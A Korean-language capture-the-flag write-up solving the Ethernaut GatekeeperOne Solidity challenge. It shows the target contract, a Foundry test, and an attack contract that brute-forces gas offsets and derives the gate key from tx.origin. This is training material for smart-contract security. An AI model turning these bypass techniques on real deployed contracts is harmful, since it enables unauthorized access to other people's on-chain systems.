// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
이 문제는 3개의 modifier
가 정의되어 있는데 문제를 해결하려면 3개의 modifier
가 걸려있는 enter(bytes8)
함수를 호출하여 entrant
에 풀이자의 지갑 주소를 등록하면 풀리는 문제이다.
gateOne()
은 msg.sender
가 tx.origin
이 아니어야 한다. -> 컨트렉트를 만들어서 enter(bytes8)
호출
gateTwo()
는 gasleft()
즉, 저 시점의 남은 gas가 8191로 나눠떨어져야 한다.
gateTwo()
에서 revert 나는 test code를 foundry gas report로 확인해보면 enter
함수가 350정도의 gas가 소비된다고 한다. foundry에서 측정한 gas와 실제 온체인에서의 gas의 오차가 존재하기 때문에 ( 노드 버전, solidity 버전 등등) 저 값을 참고하여 payload를 작성하면 되겠다.
먼저 testcode로 payload를 작성해 테스트 해보았다.
gateThree()
는 tx.origin
을 가지고 장난을 치는데 결론적으로 다음과 같은 값이 _gateKey
가 된다.
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
먼저 payload testcode를 작성하여 확인해보았다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Gatekeeper_One.sol";
contract CounterTest is Test {
GatekeeperOne public target;
address public attacker;
function setUp() public {
target = new GatekeeperOne();
attacker = address(0x11);
}
function testatk() public {
vm.startPrank(attacker);
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i=0; i<=350; i++)
{
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
if (success) {
console.log(i);
console.log(i + (8191 * 3));
console.log("clear");
break;
}
}
}
}
위에 gas report와는 다르게 max 값이 커진걸 확인할 수 있었고, modifier
모두 통과하여 entrant
등록에 성공한 것을 확인할 수 있겠다. 내 테스트 환경에서는 268이 gasleft()
호출 시점에 gas인데 위에서 말했던 것 처럼 실제 온체인과에는 차이가 존재할 수 있기 때문에 아래와 같은 payload 컨트렉트로 문제를 풀이하였다.
이를 종합하여 payload 컨트렉트를 작성하였다.
contract attack {
GatekeeperOne public target = GatekeeperOne(0x2270626bC8D8d774D0A7AeB0773CB672be957A21);
function atk() public returns(uint256 check){
bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i=0; i<=350; i++)
{
(bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
if (success) {
check=i;
break;
}
}
}
}